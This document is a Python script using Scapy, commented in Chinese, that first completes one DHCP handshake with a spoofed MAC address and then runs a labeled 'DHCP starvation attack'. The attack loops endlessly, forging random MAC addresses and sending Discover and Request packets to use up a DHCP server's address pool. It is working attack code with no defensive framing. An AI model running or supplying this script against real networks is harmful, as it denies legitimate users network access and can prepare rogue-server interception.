代码
# 1. 定义伪造的 MAC 地址
my_mac = "00:11:22:33:44:55"
my_mac_bytes = b'\x00\x11\x22\x33\x44\x55'
# 2. 构造 BOOTP 必须的 16字节 chaddr (MAC 6字节 + 填充 10字节)
chaddr_pad = my_mac_bytes + b'\x00' * 10
# 3. 生成一个随机事务 ID (XID)
import random
my_xid = random.randint(1, 900000000)
print(f"我的事务ID: {hex(my_xid)}")
#==========================================================
discover = Ether(src=my_mac, dst="ff:ff:ff:ff:ff:ff") / \
IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / \
BOOTP(chaddr=chaddr_pad, xid=my_xid) / \
DHCP(options=[("message-type", "discover"), "end"])
# 发送 Discover
sendp(discover, iface="eth0", verbose=0)
print("Discover 已发送")
# 捕获 Offer
print("等待 Offer...")
offer = sniff(iface="eth0", filter="udp port 67", count=1, timeout=5)
p_offer = offer[0]
my_ip = p_offer[BOOTP].yiaddr
server_id = p_offer[IP].src
print(f"Offer 收到: IP={my_ip}, Server={server_id}")
#==========================================================
# 发送 Request
request = Ether(src=my_mac, dst="ff:ff:ff:ff:ff:ff") / \
IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / \
BOOTP(chaddr=chaddr_pad, xid=my_xid) / \
DHCP(options=[("message-type", "request"),
("server_id", server_id),
("requested_addr", my_ip),
"end"])
sendp(request, iface="eth0", verbose=0)
print("Request 已发送")
# 捕获 Ack
print("等待 Ack...")
ack = sniff(iface="eth0", filter="udp port 67", count=1, timeout=5)
print(f"✅ 成功获得 IP: {my_ip}")
#==========================================================
#dhcp耗尽攻击
from scapy.all import *
import random
import time
# 1. 关闭 IP 检查 (必须! 否则 Scapy 会丢弃来自 DHCP 服务器的 Offer 包)
conf.checkIPaddr = False
print(">>> 开始 DHCP 饿死攻击 (显示获取 IP)... 按 Ctrl+C 停止")
try:
attack_count = 0
success_count = 0
while True:
attack_count += 1
# 2. 生成随机 MAC 地址
fake_mac_str = str(RandMAC())
# 3. 转换 MAC 为 bytes 格式 (用于 chaddr)
fake_mac_bytes = bytes.fromhex(fake_mac_str.replace(":", ""))
# 4. 构造 chaddr (16字节: 6字节MAC + 10字节Padding)
chaddr_data = fake_mac_bytes + b'\x00' * 10
# 5. 生成随机事务 ID (XID)
my_xid = random.randint(1, 900000000)
# 6. 构造 DHCP Discover 包
pkt = Ether(src=fake_mac_str, dst="ff:ff:ff:ff:ff:ff") / \
IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / \
BOOTP(op=1, chaddr=chaddr_data, xid=my_xid) / \
DHCP(options=[("message-type", "discover"), "end"])
# 7. 发送并等待响应 (使用 srp1 替代 sendp)
# timeout=0.5: 设置短超时,既能收到包又不至于太慢
# verbose=0: 关闭 Scapy 内部的发送提示
reply = srp1(pkt, iface="eth0", timeout=0.5, verbose=0)
# 8. 检查结果并打印 IP
if reply and BOOTP in reply and DHCP in reply:
# 检查是否是DHCP Offer
if any(opt[0] == 'message-type' and opt[1] == 2 for opt in reply[DHCP].options):
# yiaddr 字段包含服务器分配给我们的 IP
offered_ip = reply[BOOTP].yiaddr
success_count += 1
print(f"[+] 抢占成功! MAC: {fake_mac_str} -> 获得 IP: {offered_ip}")
# 可以继续发送Request和等待Ack完成完整握手
# 发送DHCP Request
request_pkt = Ether(src=fake_mac_str, dst="ff:ff:ff:ff:ff:ff") / \
IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / \
BOOTP(op=1, chaddr=chaddr_data, xid=my_xid) / \
DHCP(options=[("message-type", "request"),
("requested_addr", offered_ip),
("server_id", reply[IP].src),
"end"])
# 发送Request但可以不等待Ack(加速攻击)
sendp(request_pkt, iface="eth0", verbose=0)
else:
print(f"\r[.] 收到响应但不是Offer (MAC={fake_mac_str[:12]}...) ", end="")
else:
# 如果超时没收到包,可能是发太快丢包了,或者地址池已空
print(f"\r[.] 请求 {attack_count} 次 | 成功: {success_count} | 当前MAC: {fake_mac_str[:12]}...", end="")
# 添加小延迟防止过度占用CPU
time.sleep(0.05)
except KeyboardInterrupt:
print(f"\n[-] 攻击停止。")
print(f"[-] 总计: 发送 {attack_count} 次请求, 收到 {success_count} 个Offer")